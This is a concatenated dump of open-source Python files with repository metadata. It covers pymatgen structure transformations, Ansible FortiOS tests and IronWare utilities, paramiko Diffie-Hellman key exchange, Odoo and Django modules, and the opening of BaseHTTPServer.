ALGO_COMPLETE = 1
ALGO_BEST_FIRST = 2
ALGO_ENUMERATE = 3
def __init__(self, specie_to_remove, fraction_to_remove, algo=ALGO_FAST):
"""
"""
self.specie_to_remove = specie_to_remove
self.fraction_to_remove = fraction_to_remove
self.algo = algo
def apply_transformation(self, structure, return_ranked_list=False):
"""
Apply the transformation.
Args:
structure: input structure
return_ranked_list (bool/int): Boolean stating whether or not
multiple structures are returned. If return_ranked_list is
an int, that number of structures is returned.
Returns:
Depending on returned_ranked list, either a transformed structure
or a list of dictionaries, where each dictionary is of the form
{"structure" = .... , "other_arguments"}
the key "transformation" is reserved for the transformation that
was actually applied to the structure.
This transformation is parsed by the alchemy classes for generating
a more specific transformation history. Any other information will
be stored in the transformation_parameters dictionary in the
transmuted structure class.
"""
sp = get_el_sp(self.specie_to_remove)
specie_indices = [i for i in range(len(structure))
if structure[i].species_and_occu ==
Composition({sp: 1})]
trans = PartialRemoveSitesTransformation([specie_indices],
[self.fraction_to_remove],
algo=self.algo)
return trans.apply_transformation(structure, return_ranked_list)
@property
def is_one_to_many(self):
return True
def __str__(self):
spec_str = ["Species = {}".format(self.specie_to_remove),
"Fraction to remove = {}".format(self.fraction_to_remove),
"ALGO = {}".format(self.algo)]
return "PartialRemoveSpecieTransformation : " + ", ".join(spec_str)
def __repr__(self):
return self.__str__()
@property
def inverse(self):
return None
class OrderDisorderedStructureTransformation(AbstractTransformation):
"""
Order a disordered structure. The disordered structure must be oxidation
state decorated for ewald sum to be computed. No attempt is made to perform
symmetry determination to reduce the number of combinations.
Hence, attempting to performing ordering on a large number of disordered
sites may be extremely expensive. The time scales approximately with the
number of possible combinations. The algorithm can currently compute
approximately 5,000,000 permutations per minute.
Also, simple rounding of the occupancies are performed, with no attempt
made to achieve a target composition. This is usually not a problem for
most ordering problems, but there can be times where rounding errors may
result in structures that do not have the desired composition.
This second step will be implemented in the next iteration of the code.
If multiple fractions for a single species are found for different sites,
these will be treated separately if the difference is above a threshold
tolerance. currently this is .1
For example, if a fraction of .25 Li is on sites 0,1,2,3 and .5 on sites
4, 5, 6, 7 1 site from [0,1,2,3] will be filled and 2 sites from [4,5,6,7]
will be filled, even though a lower energy combination might be found by
putting all lithium in sites [4,5,6,7].
USE WITH CARE.
Args:
algo (int): Algorithm to use.
symmetrized_structures (bool): Whether the input structures are
instances of SymmetrizedStructure, and that their symmetry
should be used for the grouping of sites.
"""
ALGO_FAST = 0
ALGO_COMPLETE = 1
ALGO_BEST_FIRST = 2
def __init__(self, algo=ALGO_FAST, symmetrized_structures=False):
self.algo = algo
self._all_structures = []
self.symmetrized_structures = symmetrized_structures
def apply_transformation(self, structure, return_ranked_list=False):
"""
For this transformation, the apply_transformation method will return
only the ordered structure with the lowest Ewald energy, to be
consistent with the method signature of the other transformations.
However, all structures are stored in the all_structures attribute in
the transformation object for easy access.
Args:
structure: Oxidation state decorated disordered structure to order
return_ranked_list (bool): Whether or not multiple structures are
returned. If return_ranked_list is a number, that number of
structures is returned.
Returns:
Depending on returned_ranked list, either a transformed structure
or a list of dictionaries, where each dictionary is of the form
{"structure" = .... , "other_arguments"}
the key "transformation" is reserved for the transformation that
was actually applied to the structure.
This transformation is parsed by the alchemy classes for generating
a more specific transformation history. Any other information will
be stored in the transformation_parameters dictionary in the
transmuted structure class.
"""
try:
num_to_return = int(return_ranked_list)
except ValueError:
num_to_return = 1
num_to_return = max(1, num_to_return)
equivalent_sites = []
exemplars = []
# generate list of equivalent sites to order
# equivalency is determined by sp_and_occu and symmetry
# if symmetrized structure is true
for i, site in enumerate(structure):
if site.is_ordered:
continue
for j, ex in enumerate(exemplars):
sp = ex.species_and_occu
if not site.species_and_occu.almost_equals(sp):
continue
if self.symmetrized_structures:
sym_equiv = structure.find_equivalent_sites(ex)
sym_test = site in sym_equiv
else:
sym_test = True
if sym_test:
equivalent_sites[j].append(i)
break
else:
equivalent_sites.append([i])
exemplars.append(site)
# generate the list of manipulations and input structure
s = Structure.from_sites(structure)
m_list = []
for g in equivalent_sites:
total_occupancy = sum([structure[i].species_and_occu for i in g],
Composition())
total_occupancy = dict(total_occupancy.items())
# round total occupancy to possible values
for k, v in total_occupancy.items():
if abs(v - round(v)) > 0.25:
raise ValueError("Occupancy fractions not consistent "
"with size of unit cell")
total_occupancy[k] = int(round(v))
# start with an ordered structure
initial_sp = max(total_occupancy.keys(),
key=lambda x: abs(x.oxi_state))
for i in g:
s[i] = initial_sp
# determine the manipulations
for k, v in total_occupancy.items():
if k == initial_sp:
continue
m = [k.oxi_state / initial_sp.oxi_state if initial_sp.oxi_state
else 0, v, list(g), k]
m_list.append(m)
# determine the number of empty sites
empty = len(g) - sum(total_occupancy.values())
if empty > 0.5:
m_list.append([0, empty, list(g), None])
matrix = EwaldSummation(s).total_energy_matrix
ewald_m = EwaldMinimizer(matrix, m_list, num_to_return, self.algo)
self._all_structures = []
lowest_energy = ewald_m.output_lists[0][0]
num_atoms = sum(structure.composition.values())
for output in ewald_m.output_lists:
s_copy = s.copy()
# do deletions afterwards because they screw up the indices of the
# structure
del_indices = []
for manipulation in output[1]:
if manipulation[1] is None:
del_indices.append(manipulation[0])
else:
s_copy[manipulation[0]] = manipulation[1]
s_copy.remove_sites(del_indices)
self._all_structures.append(
{"energy": output[0],
"energy_above_minimum":
(output[0] - lowest_energy) / num_atoms,
"structure": s_copy.get_sorted_structure()})
if return_ranked_list:
return self._all_structures
else:
return self._all_structures[0]["structure"]
def __str__(self):
return "Order disordered structure transformation"
def __repr__(self):
return self.__str__()
@property
def inverse(self):
return None
@property
def is_one_to_many(self):
return True
@property
def lowest_energy_structure(self):
return self._all_structures[0]["structure"]
class PrimitiveCellTransformation(AbstractTransformation):
"""
This class finds the primitive cell of the input structure.
It returns a structure that is not necessarily orthogonalized
Author: Will Richards
Args:
tolerance (float): Tolerance for each coordinate of a particular
site. For example, [0.5, 0, 0.5] in cartesian coordinates will be
considered to be on the same coordinates as [0, 0, 0] for a
tolerance of 0.5. Defaults to 0.5.
"""
def __init__(self, tolerance=0.5):
self.tolerance = tolerance
def apply_transformation(self, structure):
"""
Returns most primitive cell for structure.
Args:
structure: A structure
Returns:
The most primitive structure found. The returned structure is
guaranteed to have len(new structure) <= len(structure).
"""
return structure.get_primitive_structure(tolerance=self.tolerance)
def __str__(self):
return "Primitive cell transformation"
def __repr__(self):
return self.__str__()
@property
def inverse(self):
return None
@property
def is_one_to_many(self):
return False
class PerturbStructureTransformation(AbstractTransformation):
"""
This transformation perturbs a structure by a specified distance in random
directions. Used for breaking symmetries.
Args:
amplitude (float): Amplitude of perturbation in angstroms. All sites
will be perturbed by exactly that amplitude in a random direction.
"""
def __init__(self, amplitude=0.01):
self.amplitude = amplitude
def apply_transformation(self, structure):
s = structure.copy()
s.perturb(self.amplitude)
return s
def __str__(self):
return "PerturbStructureTransformation : " + \
"Amplitude = {}".format(self.amplitude)
def __repr__(self):
return self.__str__()
@property
def inverse(self):
return None
@property
def is_one_to_many(self):
return False
class DeformStructureTransformation(AbstractTransformation):
"""
This transformation deforms a structure by a deformation gradient matrix
Args:
deformation (array): deformation gradient for the transformation
"""
def __init__(self, deformation):
self.deformation = Deformation(deformation)
def apply_transformation(self, structure):
return self.deformation.apply_to_structure(structure)
def __str__(self):
return "DeformStructureTransformation : " + \
"Deformation = {}".format(str(self.deformation.tolist()))
def __repr__(self):
return self.__str__()
@property
def inverse(self):
return DeformStructureTransformation(self.deformation.inv())
@property
def is_one_to_many(self):
return False
| mit |
HyperBaton/ansible | test/units/modules/network/fortios/test_fortios_firewall_shaper_per_ip_shaper.py | 21 | 10515 | # Copyright 2019 Fortinet, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <https://www.gnu.org/licenses/>.
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import os
import json
import pytest
from mock import ANY
from ansible.module_utils.network.fortios.fortios import FortiOSHandler
try:
from ansible.modules.network.fortios import fortios_firewall_shaper_per_ip_shaper
except ImportError:
pytest.skip("Could not load required modules for testing", allow_module_level=True)
@pytest.fixture(autouse=True)
def connection_mock(mocker):
connection_class_mock = mocker.patch('ansible.modules.network.fortios.fortios_firewall_shaper_per_ip_shaper.Connection')
return connection_class_mock
fos_instance = FortiOSHandler(connection_mock)
def test_firewall_shaper_per_ip_shaper_creation(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
set_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200}
set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)
input_data = {
'username': 'admin',
'state': 'present',
'firewall_shaper_per_ip_shaper': {
'bandwidth_unit': 'kbps',
'diffserv_forward': 'enable',
'diffserv_reverse': 'enable',
'diffservcode_forward': 'test_value_6',
'diffservcode_rev': 'test_value_7',
'max_bandwidth': '8',
'max_concurrent_session': '9',
'name': 'default_name_10'
},
'vdom': 'root'}
is_error, changed, response = fortios_firewall_shaper_per_ip_shaper.fortios_firewall_shaper(input_data, fos_instance)
expected_data = {
'bandwidth-unit': 'kbps',
'diffserv-forward': 'enable',
'diffserv-reverse': 'enable',
'diffservcode-forward': 'test_value_6',
'diffservcode-rev': 'test_value_7',
'max-bandwidth': '8',
'max-concurrent-session': '9',
'name': 'default_name_10'
}
set_method_mock.assert_called_with('firewall.shaper', 'per-ip-shaper', data=expected_data, vdom='root')
schema_method_mock.assert_not_called()
assert not is_error
assert changed
assert response['status'] == 'success'
assert response['http_status'] == 200
def test_firewall_shaper_per_ip_shaper_creation_fails(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
set_method_result = {'status': 'error', 'http_method': 'POST', 'http_status': 500}
set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)
input_data = {
'username': 'admin',
'state': 'present',
'firewall_shaper_per_ip_shaper': {
'bandwidth_unit': 'kbps',
'diffserv_forward': 'enable',
'diffserv_reverse': 'enable',
'diffservcode_forward': 'test_value_6',
'diffservcode_rev': 'test_value_7',
'max_bandwidth': '8',
'max_concurrent_session': '9',
'name': 'default_name_10'
},
'vdom': 'root'}
is_error, changed, response = fortios_firewall_shaper_per_ip_shaper.fortios_firewall_shaper(input_data, fos_instance)
expected_data = {
'bandwidth-unit': 'kbps',
'diffserv-forward': 'enable',
'diffserv-reverse': 'enable',
'diffservcode-forward': 'test_value_6',
'diffservcode-rev': 'test_value_7',
'max-bandwidth': '8',
'max-concurrent-session': '9',
'name': 'default_name_10'
}
set_method_mock.assert_called_with('firewall.shaper', 'per-ip-shaper', data=expected_data, vdom='root')
schema_method_mock.assert_not_called()
assert is_error
assert not changed
assert response['status'] == 'error'
assert response['http_status'] == 500
def test_firewall_shaper_per_ip_shaper_removal(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
delete_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200}
delete_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.delete', return_value=delete_method_result)
input_data = {
'username': 'admin',
'state': 'absent',
'firewall_shaper_per_ip_shaper': {
'bandwidth_unit': 'kbps',
'diffserv_forward': 'enable',
'diffserv_reverse': 'enable',
'diffservcode_forward': 'test_value_6',
'diffservcode_rev': 'test_value_7',
'max_bandwidth': '8',
'max_concurrent_session': '9',
'name': 'default_name_10'
},
'vdom': 'root'}
is_error, changed, response = fortios_firewall_shaper_per_ip_shaper.fortios_firewall_shaper(input_data, fos_instance)
delete_method_mock.assert_called_with('firewall.shaper', 'per-ip-shaper', mkey=ANY, vdom='root')
schema_method_mock.assert_not_called()
assert not is_error
assert changed
assert response['status'] == 'success'
assert response['http_status'] == 200
def test_firewall_shaper_per_ip_shaper_deletion_fails(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
delete_method_result = {'status': 'error', 'http_method': 'POST', 'http_status': 500}
delete_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.delete', return_value=delete_method_result)
input_data = {
'username': 'admin',
'state': 'absent',
'firewall_shaper_per_ip_shaper': {
'bandwidth_unit': 'kbps',
'diffserv_forward': 'enable',
'diffserv_reverse': 'enable',
'diffservcode_forward': 'test_value_6',
'diffservcode_rev': 'test_value_7',
'max_bandwidth': '8',
'max_concurrent_session': '9',
'name': 'default_name_10'
},
'vdom': 'root'}
is_error, changed, response = fortios_firewall_shaper_per_ip_shaper.fortios_firewall_shaper(input_data, fos_instance)
delete_method_mock.assert_called_with('firewall.shaper', 'per-ip-shaper', mkey=ANY, vdom='root')
schema_method_mock.assert_not_called()
assert is_error
assert not changed
assert response['status'] == 'error'
assert response['http_status'] == 500
def test_firewall_shaper_per_ip_shaper_idempotent(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
set_method_result = {'status': 'error', 'http_method': 'DELETE', 'http_status': 404}
set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)
input_data = {
'username': 'admin',
'state': 'present',
'firewall_shaper_per_ip_shaper': {
'bandwidth_unit': 'kbps',
'diffserv_forward': 'enable',
'diffserv_reverse': 'enable',
'diffservcode_forward': 'test_value_6',
'diffservcode_rev': 'test_value_7',
'max_bandwidth': '8',
'max_concurrent_session': '9',
'name': 'default_name_10'
},
'vdom': 'root'}
is_error, changed, response = fortios_firewall_shaper_per_ip_shaper.fortios_firewall_shaper(input_data, fos_instance)
expected_data = {
'bandwidth-unit': 'kbps',
'diffserv-forward': 'enable',
'diffserv-reverse': 'enable',
'diffservcode-forward': 'test_value_6',
'diffservcode-rev': 'test_value_7',
'max-bandwidth': '8',
'max-concurrent-session': '9',
'name': 'default_name_10'
}
set_method_mock.assert_called_with('firewall.shaper', 'per-ip-shaper', data=expected_data, vdom='root')
schema_method_mock.assert_not_called()
assert not is_error
assert not changed
assert response['status'] == 'error'
assert response['http_status'] == 404
def test_firewall_shaper_per_ip_shaper_filter_foreign_attributes(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
set_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200}
set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)
input_data = {
'username': 'admin',
'state': 'present',
'firewall_shaper_per_ip_shaper': {
'random_attribute_not_valid': 'tag',
'bandwidth_unit': 'kbps',
'diffserv_forward': 'enable',
'diffserv_reverse': 'enable',
'diffservcode_forward': 'test_value_6',
'diffservcode_rev': 'test_value_7',
'max_bandwidth': '8',
'max_concurrent_session': '9',
'name': 'default_name_10'
},
'vdom': 'root'}
is_error, changed, response = fortios_firewall_shaper_per_ip_shaper.fortios_firewall_shaper(input_data, fos_instance)
expected_data = {
'bandwidth-unit': 'kbps',
'diffserv-forward': 'enable',
'diffserv-reverse': 'enable',
'diffservcode-forward': 'test_value_6',
'diffservcode-rev': 'test_value_7',
'max-bandwidth': '8',
'max-concurrent-session': '9',
'name': 'default_name_10'
}
set_method_mock.assert_called_with('firewall.shaper', 'per-ip-shaper', data=expected_data, vdom='root')
schema_method_mock.assert_not_called()
assert not is_error
assert changed
assert response['status'] == 'success'
assert response['http_status'] == 200
| gpl-3.0 |
kyilmaz80/mta | paramiko-master/paramiko/kex_gex.py | 36 | 9740 | # Copyright (C) 2003-2007 Robey Pointer <robeypointer@gmail.com>
#
# This file is part of paramiko.
#
# Paramiko is free software; you can redistribute it and/or modify it under the
# terms of the GNU Lesser General Public License as published by the Free
# Software Foundation; either version 2.1 of the License, or (at your option)
# any later version.
#
# Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
# details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Paramiko; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.
"""
Variant on `KexGroup1 <paramiko.kex_group1.KexGroup1>` where the prime "p" and
generator "g" are provided by the server. A bit more work is required on the
client side, and a **lot** more on the server side.
"""
import os
from hashlib import sha1
from paramiko import util
from paramiko.common import DEBUG
from paramiko.message import Message
from paramiko.py3compat import byte_chr, byte_ord, byte_mask
from paramiko.ssh_exception import SSHException
_MSG_KEXDH_GEX_REQUEST_OLD, _MSG_KEXDH_GEX_GROUP, _MSG_KEXDH_GEX_INIT, \
_MSG_KEXDH_GEX_REPLY, _MSG_KEXDH_GEX_REQUEST = range(30, 35)
c_MSG_KEXDH_GEX_REQUEST_OLD, c_MSG_KEXDH_GEX_GROUP, c_MSG_KEXDH_GEX_INIT, \
c_MSG_KEXDH_GEX_REPLY, c_MSG_KEXDH_GEX_REQUEST = [byte_chr(c) for c in range(30, 35)]
class KexGex (object):
name = 'diffie-hellman-group-exchange-sha1'
min_bits = 1024
max_bits = 8192
preferred_bits = 2048
def __init__(self, transport):
self.transport = transport
self.p = None
self.q = None
self.g = None
self.x = None
self.e = None
self.f = None
self.old_style = False
def start_kex(self, _test_old_style=False):
if self.transport.server_mode:
self.transport._expect_packet(_MSG_KEXDH_GEX_REQUEST, _MSG_KEXDH_GEX_REQUEST_OLD)
return
# request a bit range: we accept (min_bits) to (max_bits), but prefer
# (preferred_bits). according to the spec, we shouldn't pull the
# minimum up above 1024.
m = Message()
if _test_old_style:
# only used for unit tests: we shouldn't ever send this
m.add_byte(c_MSG_KEXDH_GEX_REQUEST_OLD)
m.add_int(self.preferred_bits)
self.old_style = True
else:
m.add_byte(c_MSG_KEXDH_GEX_REQUEST)
m.add_int(self.min_bits)
m.add_int(self.preferred_bits)
m.add_int(self.max_bits)
self.transport._send_message(m)
self.transport._expect_packet(_MSG_KEXDH_GEX_GROUP)
def parse_next(self, ptype, m):
if ptype == _MSG_KEXDH_GEX_REQUEST:
return self._parse_kexdh_gex_request(m)
elif ptype == _MSG_KEXDH_GEX_GROUP:
return self._parse_kexdh_gex_group(m)
elif ptype == _MSG_KEXDH_GEX_INIT:
return self._parse_kexdh_gex_init(m)
elif ptype == _MSG_KEXDH_GEX_REPLY:
return self._parse_kexdh_gex_reply(m)
elif ptype == _MSG_KEXDH_GEX_REQUEST_OLD:
return self._parse_kexdh_gex_request_old(m)
raise SSHException('KexGex asked to handle packet type %d' % ptype)
### internals...
def _generate_x(self):
# generate an "x" (1 < x < (p-1)/2).
q = (self.p - 1) // 2
qnorm = util.deflate_long(q, 0)
qhbyte = byte_ord(qnorm[0])
byte_count = len(qnorm)
qmask = 0xff
while not (qhbyte & 0x80):
qhbyte <<= 1
qmask >>= 1
while True:
x_bytes = os.urandom(byte_count)
x_bytes = byte_mask(x_bytes[0], qmask) + x_bytes[1:]
x = util.inflate_long(x_bytes, 1)
if (x > 1) and (x < q):
break
self.x = x
def _parse_kexdh_gex_request(self, m):
minbits = m.get_int()
preferredbits = m.get_int()
maxbits = m.get_int()
# smoosh the user's preferred size into our own limits
if preferredbits > self.max_bits:
preferredbits = self.max_bits
if preferredbits < self.min_bits:
preferredbits = self.min_bits
# fix min/max if they're inconsistent. technically, we could just pout
# and hang up, but there's no harm in giving them the benefit of the
# doubt and just picking a bitsize for them.
if minbits > preferredbits:
minbits = preferredbits
if maxbits < preferredbits:
maxbits = preferredbits
# now save a copy
self.min_bits = minbits
self.preferred_bits = preferredbits
self.max_bits = maxbits
# generate prime
pack = self.transport._get_modulus_pack()
if pack is None:
raise SSHException('Can\'t do server-side gex with no modulus pack')
self.transport._log(DEBUG, 'Picking p (%d <= %d <= %d bits)' % (minbits, preferredbits, maxbits))
self.g, self.p = pack.get_modulus(minbits, preferredbits, maxbits)
m = Message()
m.add_byte(c_MSG_KEXDH_GEX_GROUP)
m.add_mpint(self.p)
m.add_mpint(self.g)
self.transport._send_message(m)
self.transport._expect_packet(_MSG_KEXDH_GEX_INIT)
def _parse_kexdh_gex_request_old(self, m):
# same as above, but without min_bits or max_bits (used by older clients like putty)
self.preferred_bits = m.get_int()
# smoosh the user's preferred size into our own limits
if self.preferred_bits > self.max_bits:
self.preferred_bits = self.max_bits
if self.preferred_bits < self.min_bits:
self.preferred_bits = self.min_bits
# generate prime
pack = self.transport._get_modulus_pack()
if pack is None:
raise SSHException('Can\'t do server-side gex with no modulus pack')
self.transport._log(DEBUG, 'Picking p (~ %d bits)' % (self.preferred_bits,))
self.g, self.p = pack.get_modulus(self.min_bits, self.preferred_bits, self.max_bits)
m = Message()
m.add_byte(c_MSG_KEXDH_GEX_GROUP)
m.add_mpint(self.p)
m.add_mpint(self.g)
self.transport._send_message(m)
self.transport._expect_packet(_MSG_KEXDH_GEX_INIT)
self.old_style = True
def _parse_kexdh_gex_group(self, m):
self.p = m.get_mpint()
self.g = m.get_mpint()
# reject if p's bit length < 1024 or > 8192
bitlen = util.bit_length(self.p)
if (bitlen < 1024) or (bitlen > 8192):
raise SSHException('Server-generated gex p (don\'t ask) is out of range (%d bits)' % bitlen)
self.transport._log(DEBUG, 'Got server p (%d bits)' % bitlen)
self._generate_x()
# now compute e = g^x mod p
self.e = pow(self.g, self.x, self.p)
m = Message()
m.add_byte(c_MSG_KEXDH_GEX_INIT)
m.add_mpint(self.e)
self.transport._send_message(m)
self.transport._expect_packet(_MSG_KEXDH_GEX_REPLY)
def _parse_kexdh_gex_init(self, m):
self.e = m.get_mpint()
if (self.e < 1) or (self.e > self.p - 1):
raise SSHException('Client kex "e" is out of range')
self._generate_x()
self.f = pow(self.g, self.x, self.p)
K = pow(self.e, self.x, self.p)
key = self.transport.get_server_key().asbytes()
# okay, build up the hash H of (V_C || V_S || I_C || I_S || K_S || min || n || max || p || g || e || f || K)
hm = Message()
hm.add(self.transport.remote_version, self.transport.local_version,
self.transport.remote_kex_init, self.transport.local_kex_init,
key)
if not self.old_style:
hm.add_int(self.min_bits)
hm.add_int(self.preferred_bits)
if not self.old_style:
hm.add_int(self.max_bits)
hm.add_mpint(self.p)
hm.add_mpint(self.g)
hm.add_mpint(self.e)
hm.add_mpint(self.f)
hm.add_mpint(K)
H = sha1(hm.asbytes()).digest()
self.transport._set_K_H(K, H)
# sign it
sig = self.transport.get_server_key().sign_ssh_data(H)
# send reply
m = Message()
m.add_byte(c_MSG_KEXDH_GEX_REPLY)
m.add_string(key)
m.add_mpint(self.f)
m.add_string(sig)
self.transport._send_message(m)
self.transport._activate_outbound()
def _parse_kexdh_gex_reply(self, m):
host_key = m.get_string()
self.f = m.get_mpint()
sig = m.get_string()
if (self.f < 1) or (self.f > self.p - 1):
raise SSHException('Server kex "f" is out of range')
K = pow(self.f, self.x, self.p)
# okay, build up the hash H of (V_C || V_S || I_C || I_S || K_S || min || n || max || p || g || e || f || K)
hm = Message()
hm.add(self.transport.local_version, self.transport.remote_version,
self.transport.local_kex_init, self.transport.remote_kex_init,
host_key)
if not self.old_style:
hm.add_int(self.min_bits)
hm.add_int(self.preferred_bits)
if not self.old_style:
hm.add_int(self.max_bits)
hm.add_mpint(self.p)
hm.add_mpint(self.g)
hm.add_mpint(self.e)
hm.add_mpint(self.f)
hm.add_mpint(K)
self.transport._set_K_H(K, sha1(hm.asbytes()).digest())
self.transport._verify_key(host_key, sig)
self.transport._activate_outbound()
| gpl-2.0 |
Gitlab11/odoo | openerp/addons/base/module/wizard/__init__.py | 365 | 1250 | # -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
import base_module_update
import base_language_install
import base_import_language
import base_module_upgrade
import base_module_configuration
import base_export_language
import base_update_translations
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
| agpl-3.0 |
h3biomed/ansible | lib/ansible/module_utils/network/ironware/ironware.py | 38 | 3502 | #
# Copyright (c) 2017, Paul Baker <paul@paulbaker.id.au>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import absolute_import, division, print_function
__metaclass__ = type
from ansible.module_utils._text import to_text
from ansible.module_utils.basic import env_fallback
from ansible.module_utils.network.common.utils import to_list, EntityCollection
from ansible.module_utils.connection import Connection, exec_command
_DEVICE_CONFIG = None
_CONNECTION = None
ironware_provider_spec = {
'host': dict(),
'port': dict(type='int'),
'username': dict(fallback=(env_fallback, ['ANSIBLE_NET_USERNAME'])),
'password': dict(fallback=(env_fallback, ['ANSIBLE_NET_PASSWORD']), no_log=True),
'ssh_keyfile': dict(fallback=(env_fallback, ['ANSIBLE_NET_SSH_KEYFILE']), type='path'),
'authorize': dict(fallback=(env_fallback, ['ANSIBLE_NET_AUTHORIZE']), type='bool'),
'auth_pass': dict(fallback=(env_fallback, ['ANSIBLE_NET_AUTH_PASS']), no_log=True),
'timeout': dict(type='int'),
}
ironware_argument_spec = {
'provider': dict(type='dict', options=ironware_provider_spec)
}
command_spec = {
'command': dict(key=True),
'prompt': dict(),
'answer': dict()
}
def get_provider_argspec():
return ironware_provider_spec
def check_args(module):
pass
def get_connection(module):
global _CONNECTION
if _CONNECTION:
return _CONNECTION
_CONNECTION = Connection(module._socket_path)
return _CONNECTION
def to_commands(module, commands):
if not isinstance(commands, list):
raise AssertionError('argument must be of type <list>')
transform = EntityCollection(module, command_spec)
commands = transform(commands)
for index, item in enumerate(commands):
if module.check_mode and not item['command'].startswith('show'):
module.warn('only show commands are supported when using check '
'mode, not executing `%s`' % item['command'])
return commands
def run_commands(module, commands, check_rc=True):
connection = get_connection(module)
commands = to_commands(module, to_list(commands))
responses = list()
for cmd in commands:
out = connection.get(**cmd)
responses.append(to_text(out, errors='surrogate_then_replace'))
return responses
def get_config(module, source='running', flags=None):
global _DEVICE_CONFIG
if source == 'running' and flags is None and _DEVICE_CONFIG is not None:
return _DEVICE_CONFIG
else:
conn = get_connection(module)
out = conn.get_config(source=source, flags=flags)
cfg = to_text(out, errors='surrogate_then_replace').strip()
if source == 'running' and flags is None:
_DEVICE_CONFIG = cfg
return cfg
def load_config(module, config):
conn = get_connection(module)
conn.edit_config(config)
| gpl-3.0 |
ahb0327/intellij-community | python/lib/Lib/site-packages/django/templatetags/l10n.py | 247 | 1845 | from django.conf import settings
from django.template import Node
from django.template import TemplateSyntaxError, Library
from django.utils import formats
from django.utils.encoding import force_unicode
register = Library()
def localize(value):
"""
Forces a value to be rendered as a localized value,
regardless of the value of ``settings.USE_L10N``.
"""
return force_unicode(formats.localize(value, use_l10n=True))
localize.is_safe = False
def unlocalize(value):
"""
Forces a value to be rendered as a non-localized value,
regardless of the value of ``settings.USE_L10N``.
"""
return force_unicode(value)
unlocalize.is_safe = False
class LocalizeNode(Node):
def __init__(self, nodelist, use_l10n):
self.nodelist = nodelist
self.use_l10n = use_l10n
def __repr__(self):
return "<LocalizeNode>"
def render(self, context):
old_setting = context.use_l10n
context.use_l10n = self.use_l10n
output = self.nodelist.render(context)
context.use_l10n = old_setting
return output
@register.tag('localize')
def localize_tag(parser, token):
"""
Forces or prevents localization of values, regardless of the value of
`settings.USE_L10N`.
Sample usage::
{% localize off %}
var pi = {{ 3.1415 }};
{% endlocalize %}
"""
use_l10n = None
bits = list(token.split_contents())
if len(bits) == 1:
use_l10n = True
elif len(bits) > 2 or bits[1] not in ('on', 'off'):
raise TemplateSyntaxError("%r argument should be 'on' or 'off'" % bits[0])
else:
use_l10n = bits[1] == 'on'
nodelist = parser.parse(('endlocalize',))
parser.delete_first_token()
return LocalizeNode(nodelist, use_l10n)
register.filter(localize)
register.filter(unlocalize)
| apache-2.0 |
franekp/ankidict | ankidict/thirdparty/BaseHTTPServer.py | 24 | 22747 | """HTTP server base class.
Note: the class in this module doesn't implement any HTTP request; see
SimpleHTTPServer for simple implementations of GET, HEAD and POST
(including CGI scripts). It does, however, optionally implement HTTP/1.1
persistent connections, as of version 0.3.
Contents:
- BaseHTTPRequestHandler: HTTP request handler base class
- test: test function
XXX To do:
- log requests even later (to capture byte count)
- log user-agent header and other interesting goodies
- send error log to separate file
"""
# See also:
#
# HTTP Working Group T. Berners-Lee
# INTERNET-DRAFT R. T. Fielding
# <draft-ietf-http-v10-spec-00.txt> H. Frystyk Nielsen
# Expires September 8, 1995 March 8, 1995
#
# URL: http://www.ics.uci.edu/pub/ietf/http/draft-ietf-http-v10-spec-00.txt
#
# and
#
# Network Working Group R. Fielding
